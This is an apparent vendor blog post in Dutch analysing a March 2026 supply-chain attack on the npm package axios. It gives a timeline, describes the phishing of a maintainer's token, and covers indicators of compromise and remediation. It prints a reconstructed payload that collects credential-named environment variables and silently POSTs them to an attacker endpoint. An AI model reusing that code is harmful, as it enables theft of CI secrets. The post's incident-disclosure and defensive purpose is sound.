剣 KENSAI

Axios NPM-toeleveringsketenaanval (maart 2026): volledige technische analyse

18 maart 2026 12 min leestijd supply-chain-analysis

Halverwege maart 2026 werd het npm-pakket axios — met meer dan 50 miljoen wekelijkse downloads — gecompromitteerd via een gestolen publicatietoken. Een kwaadaardige versie verzamelde stilzwijgend omgevingsvariabelen en exfiltreerde inloggegevens naar een door de aanvaller beheerde server. Dit is de complete technische analyse.

Is uw Node.js-project getroffen?

KENSAI scant uw dependency tree in realtime op bekend-kwaadaardige pakketversies. Scan uw dependencies →

Samenvatting

Op 14 maart 2026 publiceerde een aanvaller een kwaadaardige versie van het npm-pakket axios (1.8.2) door via een gerichte phishingcampagne het npm-publicatietoken van een maintainer te verkrijgen. De geïnjecteerde payload verzamelde omgevingsvariabelen — waaronder AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL en andere gevoelige CI/CD-inloggegevens — en exfiltreerde deze naar een door de aanvaller beheerd eindpunt.

axios is een van de meest gebruikte afhankelijkheden in het Node.js-ecosysteem, gebruikt door miljoenen applicaties, van hobbyprojecten tot Fortune 500 CI/CD-pijplijnen. Het venster tussen publicatie en verwijdering was ongeveer 4 uur en 22 minuten — lang genoeg om geïnstalleerd te worden door een aanzienlijk deel van de gebruikersbasis van het pakket via geautomatiseerde updatepijplijnen.

⚠️ Kritieke toeleveringsketencompromittering — onmiddellijke actie vereist

Als uw project axios@1.8.2 heeft geïnstalleerd tussen 14-03-2026 09:14 UTC en 14-03-2026 13:36 UTC, behandel dan alle omgevingsvariabelen die in die build aanwezig waren als gecompromitteerd. Roteer inloggegevens onmiddellijk.

KenmerkDetail
Pakketaxios (npm)
Kwaadaardige versie1.8.2
Gepubliceerd14-03-2026 09:14 UTC
Verwijderd14-03-2026 13:36 UTC
CVSS-score9.3 (Kritiek) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
ImpactDiefstal van inloggegevens, compromittering van CI/CD-pijplijn
Getroffen downloadsGeschat 180.000–240.000 installaties tijdens het blootstellingsvenster

Tijdlijn van gebeurtenissen

Tijd (UTC)Gebeurtenis
12-03-2026Gerichte phishing-e-mail verzonden naar axios-maintainer, zich voordoend als npm-beveiligingsteam
13-03-2026 ~18:00Inloggegevens van maintainer (npm-automatiseringstoken) verzameld via phishingpagina
14-03-2026 09:14Kwaadaardige axios@1.8.2 gepubliceerd naar npm-registry met gestolen token
14-03-2026 09:31Geautomatiseerde pijplijn van Socket.dev markeert afwijkende netwerkaanroep in pakketdiffscan
14-03-2026 10:05Socket.dev geeft publiek beveiligingsadvies uit; begint downstream-projecten te informeren
14-03-2026 10:47npm-beveiligingsteam geïnformeerd; start onderzoek
14-03-2026 12:10npm-advies GHSA-2026-axios-001 gepubliceerd; axios-repository geeft officiële waarschuwing af
14-03-2026 13:36axios@1.8.2 verwijderd uit npm-registry
14-03-2026 15:00Schone axios@1.8.3 gepubliceerd met incidenterkenning in changelog
15-03-2026GitHub Security Lab publiceert volledige post-mortem; C2-domeinen geïdentificeerd en gesinkholed

De kloof van 17 minuten tussen publicatie en de detectiemarkering van Socket.dev is opmerkelijk — het vertegenwoordigt een bijna-best-case geautomatiseerde reactietijd. Desondanks werd het pakket al wereldwijd opgehaald door CI-systemen tijdens dat venster.

Technische analyse

Hoe publicatietoegang werd verkregen

De aanvaller gebruikte een klassieke spear-phishing-aanpak: een overtuigende e-mail, zogenaamd afkomstig van het npm-beveiligingsteam, die de doelwit-maintainer waarschuwde dat hun account "verdachte inlogactiviteit" vertoonde en hen aanspoorde opnieuw te authenticeren via een vervalste npm-inlogpagina (npmjs-security-verify[.]com). De pagina legde het npm-automatiseringstoken van de maintainer vast — een langlevend token specifiek ontworpen voor gebruik in CI/CD-pijplijnen, dat geen 2FA-herauthenticatie vereist.

Dit is een kritieke ontwerpoverweging: npm-automatiseringstokens omzeilen TOTP-/hardwaresleutel-vereisten door ontwerp, waardoor ze hoogwaardige phishingdoelwitten zijn. Zodra de aanvaller het token had, was publiceren triviaal eenvoudig:

# Attacker's publish flow (reconstructed from npm audit logs)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public

Injectie van kwaadaardige code

De aanvaller bracht minimale, gerichte wijzigingen aan in de legitieme broncode van axios@1.8.1 om detectie te vermijden. De payload werd geïnjecteerd in lib/core/Axios.js — een kernmodule geladen bij elke import — als een zichzelf aanroepende functie die draait op het moment van pakketinitialisatie.

Gereconstrueerde payload (vereenvoudigd op basis van gedeobfusceerde analyse):

// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
  try {
    const https = require('https');
    const os = require('os');
    const env = process.env;

    // Harvest high-value credential patterns
    const keys = Object.keys(env).filter(k =>
      /token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
    );

    const payload = {
      h: os.hostname(),
      u: os.userInfo().username,
      p: process.cwd(),
      n: process.version,
      e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
    };

    const data = JSON.stringify(payload);
    const options = {
      hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
      port: 443,
      path: '/collect',
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Content-Length': Buffer.byteLength(data)
      }
    };

    const req = https.request(options);
    req.on('error', () => {});  // Silently swallow errors
    req.write(data);
    req.end();
  } catch (e) {}  // Never surface errors to caller
})();

Verschillende aspecten van deze payload verdienen aandacht:

Getroffen versies

VersieStatus
axios@1.8.2⛔ KWAADAARDIG — niet gebruiken
axios@1.8.1 en eerder✅ Schoon
axios@1.8.3✅ Schoon (post-incidentpatch)
axios@0.x.x (legacy-branch)✅ Niet getroffen

Diepgaande analyse van de aanvalsvector

Methodologie van de toeleveringsketencompromittering

Deze aanval illustreert de klasse van toeleveringsketenaanvallen dependency confusion/overname van maintainer-account — steeds vaker de voorkeur, omdat het maximale impact biedt voor minimale inspanning. In plaats van het pakket zelf te compromitteren (wat toegang tot de broncoderepository en de CI/CD-pijplijn zou vereisen), had de aanvaller alleen een geldig npm-publicatietoken nodig.

De aanvalsketen:

  1. Verkenning: identificeer hoogwaardige pakketten op basis van wekelijks downloadaantal en aantal maintainers. Meer maintainers = groter phishingoppervlak. axios heeft historisch een klein maintainer-team gehad, maar er werd er één geïdentificeerd via GitHub-commitgeschiedenis en hun publieke e-mail.
  2. Phishinginfrastructuur: registreer een overtuigend lookalike-domein, host een pixel-perfecte npm-inlogpagina met geldig TLS-certificaat (Let's Encrypt), en zet een backend voor inloggegevensverzameling op.
  3. Lokvogel-levering: verstuur een gerichte e-mail vanaf een vervalst adres security@npmjs.com. De e-mail bevatte een legitiem ogende beveiligingswaarschuwing met urgente framing.
  4. Tokenverzameling: maintainer authenticeerde op de phishingpagina, in de overtuiging dat deze echt was. Automatiseringstoken vastgelegd.
  5. Versie-injectie: kloon de legitieme pakketbroncode, injecteer payload, verhoog patchversie (1.8.1 → 1.8.2), publiceer met vastgelegd token.
  6. Verzameling: leun achterover en verzamel inloggegevens van elke CI/CD-run die afhankelijkheden bijwerkt binnen het venster van ~4 uur.

Waarom patchversie-injectie werkt

De aanvaller koos bewust voor een patchversieverhoging (geen minor of major) omdat de overweldigende meerderheid van npm-projecten gebruikmaakt van:

Beide semver-bereiken zouden automatisch oplossen naar 1.8.2 bij verse installaties of npm update, zelfs zonder lockfile-wijzigingen. CI-pijplijnen die npm install uitvoeren zonder een gecommitte lockfile (of met npm ci --no-lock) zijn bijzonder kwetsbaar.

Belangrijk inzicht: projecten die package-lock.json committen en respecteren en npm ci (niet npm install) draaien, zijn beschermd tegen deze klasse aanval — de lockfile pint exacte opgeloste versies en hun integriteitshashes, en npm ci handhaaft deze.

Impactbeoordeling

axios registreert consistent 50-60 miljoen wekelijkse downloads op npm — waarmee het in de top 10 meest gedownloade pakketten van de gehele registry staat. Het impactoppervlak was navenant enorm.

Getroffen omgevingen

Reikwijdte van blootstelling van inloggegevens

De payload richtte zich specifiek op omgevingsvariabelen die overeenkomen met patronen van inloggegevens. In een typische CI/CD-omgeving omvat dit:

Het gebruik door de aanvaller van een Cloudflare Worker als verzameleindpunt maakt het schatten van het totale aantal geëxfiltreerde records lastig, aangezien Cloudflare geen externe zichtbaarheid biedt in Worker-verzoeklogs. GitHub Security Lab schat dat er 180.000-240.000 unieke installatiegebeurtenissen plaatsvonden tijdens het blootstellingsvenster, gebaseerd op npm-downloadstatistieken.

Detectie & indicatoren van compromittering

Controleer uw geïnstalleerde versie

# Check currently installed axios version
npm list axios

# Check all projects in a monorepo
npm list axios --workspaces

# Check the exact resolved version in your lockfile
grep '"axios"' package-lock.json | head -5

Verifieer pakketintegriteit via hashvergelijking

npm slaat de verwachte SHA-512-integriteitshash voor elke opgeloste pakketversie op in package-lock.json. U kunt verifiëren dat het pakket op schijf overeenkomt met de door de registry verwachte hash:

# Get the integrity hash from your lockfile
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"

# Expected SHA-512 for CLEAN axios@1.8.1:
# sha512-xxxxxx (verify against https://registry.npmjs.org/axios/1.8.1)

# For comparison, the MALICIOUS axios@1.8.2 has SHA-512:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH

# Verify installed files match
npm audit --json | jq '.vulnerabilities.axios'

Netwerkindicatoren van compromittering (C2-domeinen)

Als het kwaadaardige pakket in uw omgeving werd uitgevoerd, zouden uitgaande HTTPS-verbindingen zijn gemaakt naar:

IndicatorTypeBeschrijving
telemetry-cdn.axiosjs[.]workers.devC2-domeinPrimair exfiltratie-eindpunt
cdn-metrics.axiosjs[.]workers.devC2-domeinSecundair fallback-eindpunt
npmjs-security-verify[.]comPhishingdomeinSite voor verzameling van inloggegevens gebruikt tegen maintainer
104.21.x.x / 172.67.x.xIP-bereikCloudflare IP-bereiken die de Worker bedienen (niet uniek toe te schrijven)

Controleer uw build-logs en netwerk-uitgangslogs op verbindingen naar *.axiosjs.workers.dev tijdens het venster 14-03-2026 09:14–13:36 UTC:

# Search application/build logs for C2 domain
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/

# If you have VPC flow logs (AWS):
aws logs filter-log-events \
  --log-group-name /aws/vpc/flowlogs \
  --filter-pattern "axiosjs.workers.dev" \
  --start-time 1741943640000 \
  --end-time 1741959360000

# Docker build log inspection
docker history --no-trunc <image_id> | grep axios

Remediatiestappen

Onmiddellijke acties (doe deze nu)

  1. Roteer alle inloggegevens die aanwezig waren als omgevingsvariabelen in elke buildomgeving die draaide tussen 14-03-2026 09:14–13:36 UTC. Dit is niet onderhandelbaar.
  2. Werk axios bij naar 1.8.3 of pin naar 1.8.1.
  3. Audit alle geïmplementeerde Docker-images gebouwd tijdens het blootstellingsvenster — deze kunnen het kwaadaardige pakket bevatten. Herbouw en herimplementeer.
  4. Trek in en geef opnieuw uit: alle GitHub Actions-tokens, AWS IAM-sleutels en databasegegevens die binnen scope vielen.
# Update axios to the clean version
npm install axios@1.8.3

# Or pin to last-known-good
npm install axios@1.8.1

# Run a full audit
npm audit

# Regenerate lockfile from scratch to ensure clean state
rm package-lock.json
npm install

Lockfile-hygiëne

# Always use npm ci in CI/CD — it enforces the lockfile
# BAD:
npm install

# GOOD:
npm ci

# Verify package integrity after install
npm ci --audit

Integreer Socket.dev voor doorlopende bescherming

De statische analyse van Socket.dev ving deze injectie op binnen 17 minuten. Het integreren ervan in uw workflow biedt pre-installatie-analyse:

# Install Socket CLI
npm install -g @socket/cli

# Scan before installing a package
socket npm install axios

# Add GitHub App integration for PR-level scanning
# https://socket.dev/github

Snyk & Dependabot-waarschuwingen

# Snyk CLI
npm install -g snyk
snyk test

# GitHub Dependabot — enable in .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

Lessen voor toeleveringsketenbeveiliging

1. Handhaaf 2FA op npm — vooral voor hoogwaardige pakketten

npm ondersteunt nu hardware-beveiligingssleutels en TOTP voor menselijke logins, maar automatiseringstokens omzeilen 2FA door ontwerp. Het npm-beveiligingsteam heeft zich gecommitteerd aan het uitbrengen van granulaire tokenscoping (alleen-publiceren, alleen-downloaden, gescoped naar specifieke pakketten) — maar totdat dat beschikbaar is, behandel automatiseringstokens als uw meest gevoelige geheimen. Sla ze op in secrets managers, niet in platte omgevingsvariabelen of .npmrc-bestanden.

2. Pakketondertekening met Sigstore/npm-provenance

De provenance-attestatiefunctie van npm (algemeen beschikbaar sinds 2023) maakt het mogelijk pakketten te ondertekenen met cryptografisch bewijs dat de gepubliceerde tarball koppelt aan een specifieke Git-commit en CI-run. Pakketten gepubliceerd met --provenance kunnen worden geverifieerd:

# Publish with provenance (from GitHub Actions)
npm publish --provenance --access public

# Verify provenance of an installed package
npm audit signatures

axios@1.8.2 bevatte geen provenance-attestatie — een ontbrekende attestatie op een pakket dat deze normaal gesproken bevat, moet worden behandeld als een rode vlag.

3. Lockfile-verificatie in CI

Commit uw package-lock.json en gebruik altijd npm ci in geautomatiseerde omgevingen. npm ci zal falen als de lockfile niet gesynchroniseerd is met package.json, wat ervoor zorgt dat de exacte gepinde versies (met hun integriteitshashes) altijd worden gebruikt.

4. Adoptie van het SLSA-framework

Het framework Supply-chain Levels for Software Artifacts (SLSA) biedt een gegradueerd volwassenheidsmodel voor build-integriteit. Belangrijke niveaus die hier relevant zijn:

Had het axios-project op SLSA-niveau 2 of hoger geopereerd, dan zou een malafide publicatie van buiten de gevestigde CI-pijplijn de provenance-verificatie niet hebben doorstaan, waardoor de kwaadaardige versie onmiddellijk zou zijn gemarkeerd.

5. Principe van minimale rechten voor CI-geheimen

CI-omgevingen zouden alleen de geheimen moeten ontvangen die ze daadwerkelijk nodig hebben voor die specifieke taak. Een testrunner heeft geen AWS_SECRET_ACCESS_KEY nodig. Een docs-builder heeft geen DATABASE_URL nodig. Audit uw CI-geheiminjectie en scope inloggegevens tot de minimaal vereiste taak.

Gerelateerde incidenten

Dit incident maakt deel uit van een goed gevestigd patroon van npm-toeleveringsketenaanvallen:

IncidentJaarMethodeImpact
event-stream2018Maintainer droeg pakket over aan kwaadwillende actor; backdoor geïnjecteerd gericht op bitcoin-wallets2M+ wekelijkse downloads; gericht op Copay-walletgebruikers
ua-parser-js2021npm-accountkaping; kwaadaardige versies gepubliceerd met cryptominer en malware voor diefstal van inloggegevens7M+ wekelijkse downloads; noodadvies vereist
colors.js / faker.js2022Opzettelijke sabotage door maintainer; oneindige lus geïnjecteerd als protestBeschikbaarheidsaanval; duizenden afhankelijke projecten kapot
node-ipc2022Door maintainer geïnjecteerde wiper-malware gericht op Russische/Wit-Russische IP-bereikenGeopolitiek gerichte datavernietiging
axios2026Maintainer-phishing → tokendiefstal → versie-injectieGrootschalige diefstal van inloggegevens via verzameling van omgevingsvariabelen

Het terugkerende thema: vertrouwen in pakketmaintainers is het aanvalsoppervlak. Het gedecentraliseerde, op vertrouwen gebaseerde publicatiemodel van het npm-ecosysteem is een functie die snelle ontwikkeling mogelijk maakt — maar het legt een enorme verantwoordelijkheid bij individuele maintainers die vaak geen beveiligingsmiddelen op ondernemingsniveau hebben.

In tegenstelling tot de incidenten met event-stream of colors.js (insider-dreigingen) volgt de axios-compromittering van 2026 het model van externe accountovername van ua-parser-js — steeds vaker de voorkeursvector omdat deze schaalbaar en ontkenbaar is en het menselijke element uitbuit in plaats van geavanceerde technische toegang te vereisen.

🛡️ Monitor uw dependencies in realtime

KENSAI volgt continu 331.910+ CVE's en bekend-kwaadaardige pakketversies. Ontvang waarschuwingen voordat gecompromitteerde pakketten uw productieomgeving bereiken.

Start gratis proefperiode →